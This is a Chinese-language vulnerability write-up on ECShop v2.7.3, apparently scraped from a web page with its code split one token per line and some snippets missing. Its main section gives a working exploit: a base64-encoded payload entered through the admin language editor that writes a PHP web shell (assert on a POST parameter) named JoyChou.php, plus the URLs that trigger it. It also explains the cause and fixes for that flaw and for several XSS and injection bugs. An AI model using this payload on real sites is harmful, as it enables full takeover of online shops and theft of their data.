1.测试版本
v2.7.3 RELEASE 20121106(最新)
v2.7.3 RELEASE 20120411
2.漏洞条件
需登录到后台
3.漏洞利用
1) 登陆到台后,选择模板管理,语言项编辑,搜索“用户信息”
为什么要搜索“用户信息”,还可以搜索其它的吗?
答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以
2) 添加如下后门,将用户信息改为
用户信息
1
|
${${
fputs
(
fopen
(
base64_decode
(Sm95Q2hvdS5waHA),w),
base64_decode
(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}
|
即生成一个JoyChou.php文件,内容为:
1
2
3
4
5
|
assert(
$_POST
[x]
);
?>
|
3) 访问user.php即可产生shell(不用注册登录账户)
http://localhost/ecshop_V2.7.3_UTF8_release0411/user.php
或
http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
4.产生原因
在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
for
(
$i
= 0;
$i
<
count
(
$_POST
[
'item_id'
]);
$i
++)
{
/* 语言项内容如果为空,不修改 */
if
(trim(
$_POST
[
'item_content'
][
$i
]) ==
''
)
{
unset(
$src_items
[
$i
]);
}
else
{
$_POST
[
'item_content'
][
$i
] =
str_replace
(
'\\\\n'
,
'\\n'
,
$_POST
[
'item_content'
][
$i
]);
/* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容
$dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen";
*/
$dst_items
[
$i
] =
$_POST
[
'item_id'
][
$i
] .
' = '
.
'"'
.
$_POST
[
'item_content'
][
$i
].
'";'
;
}
}
|
复制代码
修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦
1
|
$_LANG
[
'label_profile'
] =
"用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}"
;
|
由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。
至于为什么可以执行?原理如下:
下面这三句话都可以执行,与其说代码执行,不如说参数执行。
1
2
3
4
5
6
|
$a
=
"${ phpinfo()}"
;
// 有一个空格
$b
=
"{${phpinfo()}}"
;
// 多一对{},但是没有空格
$c
=
"{${fputs(fopen("
JoyChou.php
", "
w+
"), "
$d
=
"asdf{${phpinfo()}}"
;
// {字符前可以随意加字符串
?>
|
而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,
所以也可以代码执行。
/* 载入语言文件 */
1
|
require_once
(ROOT_PATH .
'languages/'
.
$_CFG
[
'lang'
].
'/user.php'
);
|
5.漏洞修复
了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号
修改\admin\edit_languages.php
// 修复前
1
|
$dst_items
[
$i
] =
$_POST
[
'item_id'
][
$i
] .
' = '
.
'"'
.
$_POST
[
'item_content'
][
$i
].
'";'
;
|
// 修复后,由于想在单引号之间出现单引号,必须使用转义。
1
|
$dst_items
[
$i
] =
$_POST
[
'item_id'
][
$i
] .
' = '
.
'\''
.
$_POST
[
'item_content'
][
$i
].
'\';'
;
|
再次访问http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。
Ecshop pages.lbi.php Xss漏洞,search.php注入漏洞,Ecshop version XSS漏洞
6.Ecshop pages.lbi.php Xss漏洞
先来分析这个漏洞的原因:
直接访问temp/compiled/pages.lbi.php时,浏览源文件,会发现如下代码:
1
|
|
显然这个form是不完全的。当构造这样的url访问时,会造成在客户端执行代码:
1
|
temp/compiled/pages.lbi.php/”
|
很显然,这个漏洞的原理就是闭合了这个form再在客户端执行javascript.
然后分析出现不闭合form的原因,打开page.lbi.php文件,可以看到如下代码
1
|
|
这里执行$this的时候就出现错误了,,因为没有进行template的初始化。
既然找到原因了,下面给出解决办法:
打开page.lbi文件,在第二行插入如下代码:
1
|
|
7.search.php注入漏洞
search.php
大概300 源
1
|
if
(is_not_null(
$val
) )
|
修改为
1
|
if
(is_not_null(
$val
) &&
is_numeric
(
$key
))
|
就可以了
8.Ecshop version XSS漏洞
打开/admin/receive.php文件中,搜索如下代码:
1
|
$version
=
$_GET
[‘version’];
|
修改为如下代码:
1
|
$version
=Htmlspecialchars(
$_GET
[‘version’]);
|